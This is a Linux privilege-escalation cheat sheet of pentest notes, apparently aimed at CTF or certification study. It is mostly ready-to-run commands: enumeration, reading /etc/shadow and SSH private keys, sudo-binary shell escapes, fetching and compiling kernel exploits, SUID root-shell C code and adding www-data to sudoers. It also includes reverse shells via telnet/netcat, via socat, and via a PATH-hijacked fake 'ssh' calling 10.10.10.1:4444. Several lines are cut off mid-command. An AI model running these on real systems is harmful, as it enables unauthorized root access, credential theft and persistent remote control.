LinuxPentest

```
Enumeration is the key.
(Linux) privilege escalation is all about:
Collect - Enumeration, more enumeration and some more enumeration.
Process - Sort through data, analyse and prioritisation.
Search - Know what to search for and where to find the exploit code.
Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
Try - Get ready for (lots of) trial and error.
```

```
Operating System
What's the distribution type? What version?
cat /etc/issue
cat /etc/*-release
   cat /etc/lsb-release
   cat /etc/redhat-release


What's the Kernel version? Is it 64-bit?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-


What can be learnt from the environmental variables?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set


Is there a printer?
lpstat -a


Applications & Services
What services are running? Which service has which user privilege?
ps aux
ps -ef
top
cat /etc/service


Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root


What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/


Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
```

```
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/


What jobs are scheduled?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla


Communications & Networking
What NIC(s) does the system have? Is it connected to another network?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network


What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname


What other users & hosts are communicating with the system?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w


Whats cached? IP and/or MAC addresses
arp -e
route
/sbin/route -nee


Is packet sniffing possible? What can be seen? Listen to live traffic
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21


Have you got a shell? Can you interact with the system?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!
```

```
Is port forwarding possible? Redirect and interact with traffic from another view
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Prox
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Pr


Is tunnelling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig


Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
id
who
w
last
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l


What sensitive files can be found?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/


Anything "interesting" in the home directorie(s)? If it's possible to access
ls -ahlR /root/
ls -ahlR /home/


Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passw
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg


What has the user being doing? Is there any password in plain text? What have they been edting?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history


What user information can be found?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root


Can private-key information be found?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
```

```
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key


File Systems
Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other

find /etc/ -readable -type f 2>/dev/null                          # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone


What can be found in /var/ ?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases


Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/


Is there anything in the log file(s) (Could help with "Local File Includes"!)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
```

```
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtm


If commands are limited, you break out of the "jail" shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i


How are file-systems mounted?
mount
df -h


Are there any unmounted file-systems?
cat /etc/fstab
```

Kernel, Operating System & Device Information:

```
Command■Result
uname -a■Print all available system information
uname -r■Kernel release
uname -n■System hostname
hostname■As above
uname -m■Linux kernel architecture (32 or 64 bit)
cat /proc/version■Kernel information
cat /etc/*-release■Distribution information
cat /etc/issue■As above
cat /proc/cpuinfo■CPU information
df -a■File system information
```

Users & Groups:

```
Command■Result
cat /etc/passwd■List all users on the system
cat /etc/group■List all groups on the system
for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null■List all uid’s and respect
cat /etc/shadow■Show user hashes – Privileged command
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'■List all super user accounts
finger■Users currently logged in
pinky■As above
users■As above
who -a■As above
w■Who is currently logged in and what they’re doing
last■Listing of last logged on users
lastlog■Information on when all users last logged in
lastlog –u %username%■Information on when the specified user last logged in
lastlog |grep -v "Never"■Entire list of previously logged on users
```

User & Privilege Information:

```
Command■Result
whoami■Current username
id■Current user information
cat /etc/sudoers■Who’s allowed to do what as root – Privileged command
sudo -l■Can the current user perform anything as root
sudo -l 2>/dev/null | grep -w 'nmap|perl|'awk'|'find'|'bash'|'sh'|'man'
```

|'more'|'less'|'vi'|'vim'|'nc'|'netcat'|python

|ruby|lua|irb' | xargs -r ls -la 2>/dev/null■Can the current user run any ‘interesting’ binaries as root and if so also

Environmental Information:

Command■Result
env■Display environmental variables
set■As above
echo $PATH■Path information
history■Displays command history of current user
pwd■Print working directory, i.e. ‘where am I’
cat /etc/profile■Display default system variables
cat /etc/shells■Display available shells

Interesting Files:

Command■Result
find / -perm -4000 -type f 2>/dev/null■Find SUID files
find / -uid 0 -perm -4000 -type f 2>/dev/null■Find SUID files owned by root
find / -perm -2000 -type f 2>/dev/null■Find GUID files
find / -perm -2 -type f 2>/dev/null■Find world-writeable files
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null■Find world-writeable files excluding those in /proc
find / -perm -2 -type d 2>/dev/null■Find word-writeable directories
find /home –name *.rhosts -print 2>/dev/null■Find rhost config files
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;■Find *.plan files, list permissions and cat the f
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;■Find hosts.equiv, list permissior
ls -ahlR /root/■See if you can access other user directories to find interesting files
cat ~/.bash_history■Show the current users’ command history
ls -la ~/.*_history■Show the current users’ various history files
ls -la /root/.*_history■Can we read root’s history files
ls -la ~/.ssh/■Check for interesting ssh files in the current users’ directory
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys"
ls -la /usr/sbin/in.*■Check Configuration of inetd services
grep -l -i pass /var/log/*.log 2>/dev/null■Check log files for keywords (‘pass’ in this example) and show positive matc
find /var/log -type f -exec ls -la {} ; 2>/dev/null■List files in specified directory (/var/log)
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null■List .log files in specified directory (/var/log)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null■List .conf files in /etc (recursive 1 level)
ls -la /etc/*.conf■As above
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null■Find .conf files (recursive 4 levels)
lsof -i -n■List open files (output will depend on account privileges)
head /var/mail/root■Can we read roots mail

Service Information:

Command■Result
ps aux | grep root■View services running as root
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'■Lookup process binary path and permissions
cat /etc/inetd.conf■List services managed by inetd
cat /etc/xinetd.conf■As above for xinetd
cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null■A very ‘rough’ command to extract asso
ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null■Permissions and contents of /etc/exports (NFS)

Jobs/Tasks:

Command■Result
crontab -l -u %username%■Display scheduled jobs for the specified user – Privileged command
ls -la /etc/cron*■Scheduled jobs overview (hourly, daily, monthly etc)
ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null■What can ‘others’ write in /etc/cron* directories
top■List of current tasks

Networking, Routing & Communications:

Command■Result
/sbin/ifconfig -a■List all network interfaces
cat /etc/network/interfaces■As above
arp -a■Display ARP communications
route■Display route information

```
cat /etc/resolv.conf■Show configured DNS sever addresses
netstat -antp■List all TCP sockets and related PIDs (-p Privileged command)
netstat -anup■List all UDP sockets and related PIDs (-p Privileged command)
iptables -L■List rules – Privileged command
cat /etc/services■View port numbers/services mappings
```

Programs Installed:

```
Command■Result
dpkg -l■Installed packages (Debian)
rpm -qa■Installed packages (Red Hat)
sudo -V■Sudo version – does an exploit exist?
httpd -v■Apache version
apache2 -v■As above
apache2ctl (or apachectl) -M■List loaded Apache modules
mysql --version■Installed MYSQL version details
psql -V■Installed Postgres version details
perl -v■Installed Perl version details
java -version■Installed Java version details
python --version■Installed Python version details
ruby -v■Installed Ruby version details
find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc)■Locate ‘useful’ programs (netcat, wget etc)
which %program_name% (i.e. nc, netcat, wget, nmap etc)■As above
dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep g
cat /etc/apache2/envvars 2>/dev/null |grep -i 'user|group' |awk '{sub(/.*export /,"")}1'■Which account is Apache runnin
```

Common Shell Escape Sequences:

```
Command■Program(s)
:!bash■vi, vim
:set shell=/bin/bash:shell■vi, vim
!bash■man, more, less
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; ■find
awk 'BEGIN {system("/bin/bash")}'■awk
--interactive■nmap
echo "os.execute('/bin/sh')" > exploit.nse

sudo nmap --script=exploit.nse■nmap (thanks to comment by anonymous below)
perl -e 'exec "/bin/bash";'■Perl
```

```
What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can del
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'commo

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

```
Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null        # world-writeable folders
find / -perm -222 -type d 2>/dev/null      # world-writeable folders
find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders
```

```
Any "problem" files? Word-writeable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files
```

```
Preparation & Finding Exploit Code
What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
```

```
find / -name gcc*
find / -name cc


How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp



##### Linux Privilege Escalation using Sudo Rights #####
NOTE:
(ALL:ALL) can also represent as (ALL)
If you found (root) in place of (ALL:ALL) then it denotes that user can run the command as root.
If nothing is mention for user/group then it means sudo defaults to the root user.

# Traditional Method to assign Root Privilege
visudo
usertest ALL=(ALL:ALL) ALL
or
usertest ALL=(ALL) ALL

# Spawn Root Access
Suppose you successfully login into victim’s machine through ssh and want to know sudo rights for the current user then
sudo -l
In the traditional method, PASSWD option is enabled for user authentication while executing above command and it can be
sudo su
id

# Default Method to assign Root Privilege
Default Method to assign Root Privilege to usertest under User Privilege Specification category.
visudo
usertest ALL=ALL
or
usertest ALL=(root) ALL

# Allow Root Privilege to Binary commands
Sometimes the user has the authorization to execute any file or command of a particular directory such as /bin/cp, /bin
usertest ALL=(root) NOPASSWD: /usr/bin/find
NOTE: Here NOPASSWD tag that means no password will be requested for the user while running sudo -l command.

# Spawn Root Access using Find Command
compromised the Victim’s system and then move for privilege escalation phase and execute below command to view sudo use
sudo -l
>■User usertest may run the following commands on ubuntu
>■(root) NOPASSWD: /usr/bin/find
indicating that the usertest can run any command through find command. Therefore we got root access by executing below
sudo find /home -exec /bin/bash \;
id
>■uid=0(root) gid=0(root) groups=0(root)

# Allow Root Privilege to Binary Programs
Sometimes admin assigns delicate authorities to a particular user to run binary programs which allow a user to edit any
usertest ALL= (root) NOPASSWD: usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi

# Spawn shell using Perl one-liner
At the time of privilege, escalation phase executes below command to view sudo user list.
sudo -l
Now you can observe the text is showing that the usertest can run Perl language program or script as root user. (/usr/b
perl -e 'exec "/bin/bash";'

# Spawn shell using Python one-liner
requires that the user can run the python language or script as root user. (/usr/bin/python) this can be determined by
sudo -l
thus we can aquire root access by executing the python one-liner
python -c 'import pty;pty.spawn("/bin/bash")'

# Spawn shell using Less Command
requires that the user can run the less command as root user. (usr/bin/less) this can be determined by running
```

sudo -l
Hence we obtained root access by executing following
sudo less /etc/hosts
It will open requested system file for editing, BUT for spawning root shell type !bash as shown below and hit enter.
!bash
You will get root access.

Spawn shell using AWK one-liner
requires that the user can run the AWK language program or script as root user. (usr/bin/awk) this can be determined by
sudo -l
Therefore we obtained root access by executing AWK one-liner.
sudo awk 'BEGIN {system("/bin/bash")}'

Spawn shell using Man Command (Manual page)
requires that the user can run the less command as root user. (usr/bin/man) this can be determined by running
sudo -l
sudo man man
It will be displaying Linux manual pages for editing, BUT for spawning root shell type !bash as presented below and hit
!bash
You will get root access.

Spawn Shell Using FTP
get root access through FTP with the help of following commands:
sudo ftp
! /bin/bash
whoami
or
! /bin/sh
id
whoami
>■root

Spawn Shell Using Socat
get root access through socat with the help of following commands. Execute below command on the attacker's terminal in
socat file:`tty`,raw,echo=0 tcp-listen:1234
Then run the following command on victim's machine and you will get root access on your attacker machine.
socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234
id
whoami
>■root

Part Two Sequential Thinking Process#####
Defacto Linux Privilege Escalation Guide - A much more through guide for linux enumeration:
[https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privi

Try the obvious - Maybe the user can sudo to root:

`sudo su`

Here are the commands I have learned to use to perform linux enumeration and privledge escalation:
What services are running as root?:
`ps aux | grep root`

What files run as root / SUID / GUID?:
```
find / -perm +2000 -user root -type f -print
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can dele
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

What folders are world writeable?:
```
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders
```

There are a few scripts that can automate the linux enumeration process:
Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important ke

LinuxPrivChecker.py - My favorite automated linux priv enumeration checker -
https://www.securitysift.com/download/linuxprivchecker.py

LinEnum - (Recently Updated)
https://github.com/rebootuser/LinEnum

linux-exploit-suggester (Recently Updated)
https://github.com/mzet-/linux-exploit-suggester

Highon.coffee Linux Local Enum - Great enumeration script!
`wget https://highon.coffee/downloads/linux-local-enum.sh`

Linux Privilege Exploit Suggester (Old has not been updated in years)
https://github.com/PenturaLabs/Linux_Exploit_Suggester

Linux post exploitation enumeration and exploit checking tools
https://github.com/reider-roque/linpostexp

####Handy Kernel Exploits####

CVE-2010-2959 - 'CAN BCM' Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)
https://www.exploit-db.com/exploits/14814/
wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814
$ gcc i-can-haz-modharden.c -o i-can-haz-modharden
$ ./i-can-haz-modharden
[+] launching root shell!
# id
uid=0(root) gid=0(root)

CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
https://www.exploit-db.com/exploits/15285/

CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
https://git.zx2c4.com/CVE-2012-0056/about/
Linux CVE 2012-0056
wget -O exploit.c http://www.exploit-db.com/download/18411
gcc -o mempodipper exploit.c
./mempodipper

CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
https://dirtycow.ninja/
First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016

Run a command as a user other than root
sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf

Add a user or change a password
/usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor
echo thePassword | passwd haxzor --stdin

####Local Privilege Escalation Exploit in Linux####

SUID (**S**et owner **U**ser **ID** up on execution)
Often SUID C binary files are required to spawn a shell as a
superuser, you can update the UID / GID and shell as required.

below are some quick copy and paste examples for various
shells:

SUID C Shell for /bin/bash

```
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
```

SUID C Shell for /bin/sh

```
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
```

Building the SUID Shell binary
gcc -o suid suid.c
For 32 bit:
gcc -m32 -o suid suid.c

####Create and compile an SUID from a limited shell (no file transfer)####

echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c
gcc privsc.c -o privsc

Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requireme
`echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/upd

You may find a command is being executed by the root user, you may be able to modify the system PATH environment variab
to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.1
port 4444.
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
chmod +x ssh

####SearchSploit####

searchsploit â€“uncsearchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
searchsploit slmail

Kernel Exploit Suggestions for Kernel Version 3.0.0
`./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0`

Precompiled Linux Kernel Exploits - ***Super handy if GCC is not installed on the target machine!***
[*https://www.kernel-exploits.com/*](https://www.kernel-exploits.com/)

Collect root password
`cat /etc/shadow |grep root`

Find and display the proof.txt or flag.txt - LOOT!
cat `find / -name proof.txt -print`

Finding exploit code
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com

Finding more information regarding the exploit
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]

(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/